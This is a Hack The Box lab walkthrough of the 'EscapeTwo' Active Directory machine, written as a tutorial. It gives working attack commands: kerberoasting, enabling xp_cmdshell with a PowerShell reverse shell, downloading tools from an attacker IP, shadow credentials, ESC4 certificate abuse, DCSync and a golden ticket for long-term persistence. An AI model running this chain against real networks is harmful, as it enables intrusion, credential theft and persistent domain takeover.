EscapeTwo HTB Walkthrough - Hack the planet

EscapeTwo HTB Walkthrough

EscapeTwo Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

  • Variables:

    • In my commands you are going to see me use $box, $user, $hash, $domain, $pass often.
      • I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
        • $box = The IP of the box
        • $pass = Passwords I have access to.
        • $user = current user I am enumerating with.
          • Depending on where I am in the process this can change if I move laterally.
        • $domain = the domain name e.g. sugarape.local or contoso.local
        • $machine = the machine name e.g. DC01
      • Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
  • Wordlists:

    • I have symlinks all setup so I can get to my passwords from ~/Wordlists so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to /usr/share/wordlists

1. Enumeration:

Assumed Breach Box:

  • This box scenario assumes that the Active Directory (AD) environment has already been breached and that we have access to valid credentials.
    • User: rose
    • Pass: KxEPkKe6R8su
  • This approach reflects a more realistic model, given that direct breaches of AD environments from external footholds are increasingly rare today.
  • +Note+:
    • Even with assumed credentials, I’ll still conduct my standard enumeration process as if I don’t have them.
      • This ensures I don’t overlook any findings just because access is available.
      • Comprehensive documentation of all discoveries remains essential.

NMAP:

Basic Scans:

  • Basic TCP Scan:
    • nmap $box -Pn -oA TCPbasicScan
      kali in HTB/BlogEntriesMade/EscapeTwo/scans/nmap  🍣 main  1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
      🕙 07:55:29 zsh ❯ nmap $box -Pn -oA TCPbasicScan
      Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 07:56 GMT
      Nmap scan report for 10.129.146.182
      Host is up (0.038s latency).
      Not shown: 988 filtered tcp ports (no-response)
      PORT     STATE SERVICE
      53/tcp   open  domain
      88/tcp   open  kerberos-sec
      135/tcp  open  msrpc
      139/tcp  open  netbios-ssn
      389/tcp  open  ldap
      445/tcp  open  microsoft-ds
      464/tcp  open  kpasswd5
      593/tcp  open  http-rpc-epmap
      636/tcp  open  ldapssl
      1433/tcp open  ms-sql-s
      3268/tcp open  globalcatLDAP
      3269/tcp open  globalcatLDAPssl
      
      Nmap done: 1 IP address (1 host up) scanned in 4.44 seconds
    • Initial thoughts:
      • Pretty Standard affair for AD, DNS, Kerberos, RPC, LDAP but also MSSQL.

Comprehensive Scans:

  • In depth scan TCP:

    • sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    kali in HTB/BlogEntriesMade/EscapeTwo/scans/nmap  🍣 main  1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
    🕙 07:56:07 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
    [sudo] password for kali:
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 07:56 GMT
    Nmap scan report for 10.129.146.182
    Host is up (0.045s latency).
    Not shown: 65509 filtered tcp ports (no-response)
    PORT      STATE SERVICE       VERSION
    53/tcp    open  domain        Simple DNS Plus
    88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-13 07:59:29Z)
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
    |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time.
    | ssl-cert: Subject: commonName=DC01.sequel.htb
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
    | Not valid before: 2024-06-08T17:35:00
    |_Not valid after:  2025-06-08T17:35:00
    445/tcp   open  microsoft-ds?
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC01.sequel.htb
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
    | Not valid before: 2024-06-08T17:35:00
    |_Not valid after:  2025-06-08T17:35:00
    |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time.
    1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info:
    |   10.129.146.182:1433:
    |     Version:
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false
    |_    TCP port: 1433
    | ms-sql-ntlm-info:
    |   10.129.146.182:1433:
    |     Target_Name: SEQUEL
    |     NetBIOS_Domain_Name: SEQUEL
    |     NetBIOS_Computer_Name: DC01
    |     DNS_Domain_Name: sequel.htb
    |     DNS_Computer_Name: DC01.sequel.htb
    |     DNS_Tree_Name: sequel.htb
    |_    Product_Version: 10.0.17763
    |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time.
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Not valid before: 2025-01-13T07:53:13
    |_Not valid after:  2055-01-13T07:53:13
    3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC01.sequel.htb
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
    | Not valid before: 2024-06-08T17:35:00
    |_Not valid after:  2025-06-08T17:35:00
    |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time.
    3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
    |_ssl-date: 2025-01-13T08:01:07+00:00; +1s from scanner time.
    | ssl-cert: Subject: commonName=DC01.sequel.htb
    | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
    | Not valid before: 2024-06-08T17:35:00
    |_Not valid after:  2025-06-08T17:35:00
    5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
    9389/tcp  open  mc-nmf        .NET Message Framing
    47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    49664/tcp open  msrpc         Microsoft Windows RPC
    49665/tcp open  msrpc         Microsoft Windows RPC
    49666/tcp open  msrpc         Microsoft Windows RPC
    49667/tcp open  msrpc         Microsoft Windows RPC
    49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    49686/tcp open  msrpc         Microsoft Windows RPC
    49689/tcp open  msrpc         Microsoft Windows RPC
    49702/tcp open  msrpc         Microsoft Windows RPC
    49718/tcp open  msrpc         Microsoft Windows RPC
    49737/tcp open  msrpc         Microsoft Windows RPC
    61431/tcp open  msrpc         Microsoft Windows RPC
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running (JUST GUESSING): Microsoft Windows 2019 (89%)
    Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
    No exact OS matches for host (test conditions non-ideal).
    Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb2-time:
    |   date: 2025-01-13T08:00:32
    |_  start_date: N/A
    | smb2-security-mode:
    |   3:1:1:
    |_    Message signing enabled and required
    |_clock-skew: mean: 1s, deviation: 0s, median: 0s
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 258.16 seconds
    • Findings:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  • If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.

    • We can actually retrieve a significant amount of information via anonymous bind such as:
      • A list of all users
      • A list of all groups
      • A list of all computers.
      • User account attributes.
      • The domain password policy.
      • Enumerate users who are susceptible to AS-REPRoasting.
      • Passwords stored in the description fields
    • The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
  • I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

  1. We have the naming context of the domain:
    kali in HTB/BlogEntriesMade/EscapeTwo/scans/ldap  🍣 main  1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
    🕙 07:58:14 zsh ❯ python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box -u $user -p $pass
    
    
    ------------------------------------------------------------
     Server Information
    ------------------------------------------------------------
      • IP Address  : 10.129.146.182
      • Domain Name : sequel.htb
      • Server Name : DC01
      • Forest Level: 7
      • Domain Level: 7
  • It turns out the anonymous bind is (+NOT+) enabled and we get the below information & our creds do not appear to work for the LDAP.

    
    ------------------------------------------------------------
     Connection Attempts
    ------------------------------------------------------------
      • Attempting SSL connection...
      ⚠️  Connection established but no read access
      • Attempting non-SSL connection...
      ⚠️  Connection established but no read access
    
    ------------------------------------------------------------
     Connection Failed
    ------------------------------------------------------------
      ⚠️  Could not establish LDAP connection
      • Anonymous bind may be disabled (good security practice)
      • Credentials may be incorrect
      • Server may be unreachable
      • LDAP/LDAPS ports may be filtered
    1. We have the domain functionality level:

        • Forest Level: 7
        • Domain Level: 7
      • The functionality level determines the minimum version of Windows server that can be used for a DC.
        • +Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.

        • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels

        • Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

        • In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

        • Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

          Functional Level Number Corresponding OS
          0 Windows 2000
          1 Windows Server 2003 Interim
          2 Windows Server 2003
          3 Windows Server 2008
          4 Windows Server 2008 R2
          5 Windows Server 2012
          6 Windows Server 2012 R2
          7 Windows Server 2016
          8 Windows Server 2019
          9 Windows Server 2022
          • +Note+:
            • Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
            • As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
    2. We have the full server name & domain name:

      ------------------------------------------------------------
       Server Information
      ------------------------------------------------------------
        • IP Address  : 10.129.146.182
        • Domain Name : sequel.htb
        • Server Name : DC01
  • It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.

    • We have the naming context.
    • Domain name.

Updating ETC/HOSTS & Variables:

  • Updated Domain & Machine Variables for Testing:

    • Now that I have this information, I can update the domain and machine variables used in tests:
      update_var domain "sequel.htb"
      update_var machine "DC01"
  • Updating /etc/hosts for DNS and LDAP Queries:

    • I update my /etc/hosts file to enable tools like kerbrute for user enumeration and other tools that require DNS or LDAP for queries:
      sudo echo "$box   $domain $machine.$domain $machine" | sudo tee -a /etc/hosts

Syncing Clocks for Kerberos Exploitation:

  • Since Kerberos is enabled on this host, it’s best practice to sync our clock with the host’s. This helps avoid issues from clock misalignment, which can cause false negatives in Kerberos exploitation attempts.

    sudo ntpdate -s $domain
    • +Note+: I am doing this now as we have the DNS name etc.

DNS 53:

  • Using dnsenum to enumerate DNS entries:

    dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
    • Nothing out of the ordinary.

Kerberos 88:

Using netexec or impacket for ASReproasting:

  • We should always try and asreproast with a null/guest session as it can lead to an easy win:

    netexec ldap $box -u $user -p $pass --asreproast asrep.txt
    • Nothing found.

Using netexec for Kerberoasting:

  • As we have creds we can kerberoast:

    netexec ldap $box -u $user -p $pass --kerberoast kerb.txt
    • Two service accounts, ca_svc & sql_svc are kerberoastable. I am assuming that ca will be Certificate Authority.

Attempting To Crack Kerberos Tickets:

  • I attempt to crack the kerberos tickets but they do not crack:
    hashcat -m 13100 kerb.txt ~/Wordlists/rockyou.txt
  • Lets move onto further enumeration.

Performing a Bloodhound Collection:

  • I use bloodhound-python to perform a collection.

    bloodhound-python -d $domain -ns $box -c All -u $user -p $pass
    • I then import these into bloodhound for investigation.

Bloodhound Findings:

  • There is only 1 domain admin:

  • Standard users have DC Sync Privileges:

  • Our user has no overly permissive rights:

  • Small domain with only 8 users:

  • sql_svc looks to be a good target as it will most likely have access to the SQL server but is also a member of these groups:

  • ca_svc is as suspected a member of the cert publishers group so can issue certs. We should look into using certipy-ad to enumerate the CA further.

Enumerating The CA Using Certipy-ad:

certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
kali in content-org/Walkthroughs/HTB/BlogEntriesMade/EscapeTwo  🍣 main  3GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 08:34:09 zsh ❯ certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250113084633_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250113084633_Certipy.txt'
[*] Saved JSON output to '20250113084633_Certipy.json'
  • I upload these to bloodhound but they do not work, so let’s look at he .json
  • Our current user does not have access to any vulnerable templates.

SMB 445:

Enumerating SMB shares using netexec:

netexec smb $box -u $user -p $pass --shares
  • We have READ rights over the “Accounting Department” share

Enumerating the Accounting Department Share:

I connect using smbclient:

smbclient -U $domain\\$user "\\\\$box\\Accounting Department"
  • There are two spreadsheets in the share:

  • I download them both:

Reading/Extracting Usernames & Passwords From The Spreadsheets:

  • I try and open the spreadsheets using Open Office, but they appear to be cipher text:

  • Luckily .xlsx are just file archives that contain spreadsheets. You can read more about them on this page, however the key part is this (bolding added by me)

    In Excel 2007, XLSX files replaced .XLS files as the standard file for saving spreadsheets in Excel. Unlike XLS files, which store spreadsheet data in a single binary file, XLSX files are saved in the Open XML format, which stores data as separate files and folders in a compressed Zip package. The archive includes the [Content_Types].xml file, which describes the spreadsheet, and an .XML file for each worksheet within the spreadsheet.

    • This means we can manually extract the archive on our host to view the individual sheets contents.
Extracting the contents of the xlsx files manually:
unzip accounting_2024.xlsx
unzip accounts.xlsx
  • Reading the file “SharedStrings.xml” from the accounts.xlsx extraction we can see clear text passwords and emails.

Extracting the contents of the xlsx files online:
Running Hashcat again:
  • I re-run hashcat with newly extracted passwords against the extracted Kerberos tickets but they do not crack.

Testing Credentials:

  • I test the newly found credentials and find that Oscars are also valid:

    netexec smb $box -u Users.txt -p Passwords.txt --continue-on-success | grep [+]
  • Checking Bloodhound I can see that Oscar is a member of the Accounting Department group.

    • This group does not appear to have any interesting outbound object control however it’s good to note he is part of this group for later on.

2. Foothold:

Enumerating As Oscar:

  • I check what shares we have access to as Oscar & can see we have access to the Users share.
netexec smb $box -u $user -p $pass --shares

Accessing The Users Share As Oscar:

  • I use smbclient to access the share.

    smbclient -U $domain\\$user "\\\\$box\\Users"
    • I check the “Default” folder present and it appears to be a default user installation of windows:
      • Some initial enumeration does not yield any results

MSSQL 1433:

Enumerating The MSSQL Service:

  • I check if the retrieved SQL credentials work against the MSSQL service using netexec:

    netexec mssql $box -u $user -p $pass --local-auth
    • It works and we can connect.
  • Even though our name is sa which would indicate it is a sysadmin I use the mssql_priv to check if they are and if not to elevate it.

    netexec mssql $box -u $user -p $pass --local-auth -M mssql_priv
    • We are a sysadmin so let’s connect and get a reverse shell.

Connecting to the MSSQL Service:

  • We can use impacket-mssqlclient to connect to the instance.

    impacket-mssqlclient $user@$box:$pass
  • As we are a sysadmin we can enable xp_cmdshell

xp_cmdshell primer:
  • Core Functionality:

    • Allows execution of Windows command shell (cmd.exe) commands directly from within SQL (+RCE+)
    • Extended stored procedure that acts as a bridge between SQL Server and the operating system
    • Returns command output as rows of text in the result set
    • Limited to 8192 bytes for command strings
  • Configuration Settings:

    • Disabled by default since SQL Server 2005
    • Restricted to sysadmin role members only (which we are)

Enabling xp_cmdshell For RCE On The Host:

  • There are multiple ways we can enable xp_cmdshell, I will share two.

  • Manual method, from an MSSQL shell we can enter the below commands.

    -- Enable advanced options
    sp_configure 'show advanced options', 1;
    RECONFIGURE;
    
    -- Enable xp_cmdshell
    sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
  • Automatic method using impacket-mssqlclient built in functionality:

    • Luckily impacket has built in functionality to enable this.
      -- Enable
      enable_xp_cmdshell
      RECONFIGURE

Using RCE VIA xp_cmdshell To Get A Reverse Shell:

  • I test a command & it works as expected. We have RCE of the underlying host.

    EXEC xp_cmdshell 'dir C:\';
    
    -- We run commands like
    EXEC xp_cmdshell '[Command]';
    • +Important Note+: I found that xp_cmdshell would default to off again after a period of time so I had to re-enable it to execute commands.
  • I go to revshells and use the base64 encoded powershell example.
    • I start my listener on my local host and then enter the powershell base64 encoded reverse shell as a command via xp_cmdshell:
      EXEC xp_cmdshell 'powershell -e [base64ReverseShell]'
    • It connects.

Enumerating As sql_svc:

  • I check for the user flag but it is not present, so this makes me think that our target user is the user ryan who is also listed on this machine. Looking at their profile in Bloodhound, we can see they are part of the “Management Department” group which looks like it could be a good target.
    • More importantly we can also see ryan has WriteOwner privileges over the CA_SVC account, which means we effectively have full control over that account if we can get control of him.
  • I download winPEAs onto the host.

    wget http://10.10.14.38:9000/winPEASany.exe -o peas.exe
    • I run it but nothing immediately jumps out.
  • I check for contents of users descriptions & info fields, incase there are any stored credentials:

    Get-AdUser -Properties * -LDAPFilter '(&(objectCategory=user)(description=*))' | select samaccountname,description
    • +Note+: This returns only users who’s description field is not blank
        Get-AdUser -Properties * -LDAPFilter '(&(objectCategory=user)(info=*))' | select samaccountname,info
  • By manual enumeration I find the sql_svc password hardcoded in C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI

    • I verify it’s valid:
    • +Note+: I actually wasted a lot of times on winPEAS etc when simple manual enumeration would have gotten me here far quicker. It’s important to not become too reliant on automated tools.

Discovering Password Re-use for ryan & sql_svc:

  • I perform password spraying with the password found in the sql-Configuration.INI file and find that the user sql_svc & ryan both share the same password.

    netexec smb $box -u Users.txt -p Passwords.txt --shares --continue-on-success

3. Lateral Movement:

Connecting As Ryan:

  • I use evil-winrm to connect as Ryan

    evil-winrm -i $box -u $user -p $pass
  • Lets get the user flag:

4. Privilege Escalation:

Taking Control of ca_svc:

  • As ryan we have the WriteOwner privilege over CA_SVC so we effectively own the account.

WriteOwner Privilege Primer:

  • If we have WriteOwner over a:
    • User:
      • We can assign all rights to another account which will allow us to perform a Password Reset via a Force Change Password Attack, Targeted Kerberoasting Attack or a Shadow Credentials Attack.
        • I would like to perform a targeted Kerberoasting Attack or Shadow Credentials attack, mainly as I do not like changing users passwords if I don’t have to.
    • Group:
      • We can add or remove members after we grant the new owner (which we control full privileges)
    • GPO:
      • We can modify it.
      • GPO Attacks as well other DACL abuses (such as computer attacks).

Targeted Kerberoasting Attack Primer:

  • To perform this attack we need 1 of these rights over the user:
    • WriteOwner
    • GenericAll
    • GenericWrite
    • WriteProperty
    • Validated-SPN
    • WriteProperties
  • Luckily as we have WriteOwner which means we have the ability to modify object security descriptors, regardless of permissions on the object’s DACL.

+This works by doing the following:+

  1. Attach/generate an SPN for the user account.
  2. Request TGS for the user account.
  3. As TGS is encrypted with NTLM password hash we can then attempt to crack and overtake user account.

Attack Chain Attempt 1: Targeted Kerberoasting:

  • Attack Chain:
    • Perform a Targeted Kerberoasting Attack to get the hash of the ca_svc user.
    • Attempt to crack the hash.
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user ca_svc -o ca_svc.kerb
  • I attempt to crack the hash but it does not crack.

Attack Chain Attempt 2: Shadow Credentials Attack:

  1. Modify ownership so Ryan has full control of ca_svc:

    impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' $domain/$user:$pass
  2. Grant ryan full privileges over the user ca_svc:

    impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' $domain/$user:$pass
  3. Add shadow credentials to the ca_svc account & export .PEM

    python3 pywhisker.py -d $domain -u $user -p $pass --target "CA_SVC" --action "add" --filename CACert --export PEM
  4. Requesting a TGT for ca_svc with PKINITtools getgtgkinit

    • Now we perform the same process again to be able to extract their hash by using the .pem files we have retrieved to export a .ccache we can authenticate with.
         python3 /home/kali/windowsTools/PKINITtools/gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem $domain/ca_svc ca_svc.ccache
  5. Next we will load the .ccache into our KRB5CCNAME variable as we will need this for next step:

    export KRB5CCNAME=./ca_svc.ccache
  6. Requesting the ca_svc user hash with PKINITtools getnthash:

    • Extract the NTHash for the ca_svc user:
         python3 /home/kali/windowsTools/PKINITtools/getnthash.py -key 431c[SNIP]6aee9c22ff3391d9 $domain/CA_SVC
    • We now have the ca_svc users NT hash.
  7. Verify the hash is valid:

    • We now own the ca_svc user.

Re-running Certipy As ca_svc:

  • As we are in control of ca_svc let’s re-check if we have access to any vulnerable certificates to privesc:
certipy-ad find -vulnerable -u $user@$domain -hashes :$hash -dc-ip $box
  • So we can see there is a vulnerable cert available: DunderMifflinAuthentication and it’s vulnerable to the ESC4 attack vector. As we are part of the Cert Publishers group we can perform this attack:

Performing ESC4 Certificate Attack To Get An Admin Certificate:

  • Checking the certipy git repo it details what we need to do to perform this attack.
    • https://github.com/ly4k/Certipy?tab=readme-ov-file#esc4

      ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.

      • So we effectively perform an ESC1 attack by overwriting the template.
  1. Backup original cert:

    • As we overwrite the cert to perform this attack I will make a backup.
       certipy template -username ca_svc@$domain -hashes :$hash -template DunderMifflinAuthentication -save-old
  2. Perform ESC1 attack on the cert:

    • We can specify an arbitrary SAN with the -upn or -dns parameter.

      • This is the correct command, however read the section below if you get a DNS error.

             ertipy req -username ca_svc@$domain -hashes :$hash -ca sequel-DC01-CA -target $machine.$domain -template DunderMifflinAuthentication -upn administrator@$domain -ns $box
    • +Troubleshooting+: If you get the error CERTSRV_E_SUBJECT_DNS_REQUIRED:

      • I got this error a lot and went down rabbit holes trying to fix it. Whereas it actually seems to be down to some sort cleanup script running on the host.
      • How to get it working:
        • I was able to get it working by quickly chaining step 1 (Backup Script) & 2 (ESC1 Attack)
          • If you look at the time stamp you can see that I had to run these 7 seconds apart to get the attack chain to work.
  3. Authenticate as the Administrator using the certificate:

    • Now we authenticate with the certificate, to receive the NT hash of the Administrator user:
      certipy-ad auth -pfx administrator.pfx -domain $domain
  4. Verify it works:

    • Using evil-winrm

        evil-winrm -i $box -u administrator -H $hash
    • Using the .ccache

      #Load the .ccache into the KRB5CCNAME var
      export KRB5CCNAME=./administrator.ccache
      
      #Use impacket-psexec
      impacket-psexec -k -no-pass $machine.$domain
      • I knew it work but always better to validate.
  5. Lets get the root flag:

5. Persistence:

  • You may be wondering why we would look at persistence if we already have a valid administrator certificate. However if we examine the expiration time on the cert we can see its only valid for 10 hours.

    klist
  • So instead I will dump the NTDS.dit & create a golden ticket for good measure.

Dumping NTDS.dit/DCSync attack:

  • Perform DCSync attack using netexec:

    netexec smb $box -u administrator --use-kcache -M ntdsutil
  • Extract all hashes from netexec

    for file in /home/kali/.nxc/logs/*.ntds; do cat "$file" | cut -d ':' -f1,2,4 --output-delimiter=' ' | awk '{print $3, $2, $1}'; printf '\n'; done

Creating a Kerberos Golden Ticket:

  • Using impacket-lookupsid to get the Search for the Domain SID:

    impacket-lookupsid $domain/$user@$machine.$domain -domain-sids -k -no-pass
    • I store this in the variable $sid
  • Using impacket-secretsdump to retrieve the aeskey of the krbtgt account:

    impacket-secretsdump $domain/$user@$box -hashes :$hash
    • I store krbtgt:aes256 value in the variable $krbtgt
  • Sync our clock to the host using ntpdate:

    #Using ntpdate
    sudo ntpdate -s $domain
    
    #Using faketime
    faketime "$(ntpdate -q $domain | cut -d ' ' -f 1,2)"
  • Using impacket-ticketer to create the Golden Ticket:

    #Using -aeskey
    impacket-ticketer -aesKey $krbtgt -domain-sid $sid -domain $domain Administrator
  • Export the ticket to the KRB5CCNAME Variable:

    export KRB5CCNAME=./Administrator.ccache
  • Verify the ticket is loaded into memory:

    klist
    • As we can see this ticket lasts for 10 years, which is better than 10 hours.
  • Use the ticket for connecting via psexec

    impacket-psexec -k -no-pass $machine.$domain

Why create a golden ticket?

  • “But bloodstiller why are you making a golden ticket if you have the admin hash?” Glad you asked:
    • Creating a Golden Ticket during an engagement is a reliable way to maintain access over the long haul. Here’s why:
    • KRBTGT Hash Dependence:
      • Golden Tickets are generated using the KRBTGT account hash from the target’s domain controller.
      • Unlike user account passwords, KRBTGT hashes are rarely rotated (and in many organizations, +they are never changed+), so in most cases the Golden Ticket remains valid indefinitely.
    • KRBTGT Hash—The Key to It All (for upto 10 years):
      • A Golden Ticket can allow you to maintain access to a system for up to 10 years (yeah, you read that right the default lifespan of a golden ticket is 10 years) without needing additional credentials.
      • This makes it a reliable backdoor, especially if re-access is needed long after initial entry.
      • Think about it: even if they reset every user’s password (including the administrator etc) your Golden Ticket is still valid because it’s tied to the KRBTGT account, not individual users.

Lessons Learned:

What did I learn?

  1. Stop jumping to flashy techniques when you havent’ even performed basic enumeration just yet. (Finding password re-use in a file)
  2. I learned that even though I know the attack path if someone has put a cleanup script in place it will cause me to go down a rabbit hole, it’s one of the few times where faster is better.

What silly mistakes did I make?

  1. using \\ on http request e.g http:\\ DAMN YOU WINDOWS and your backslashes.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com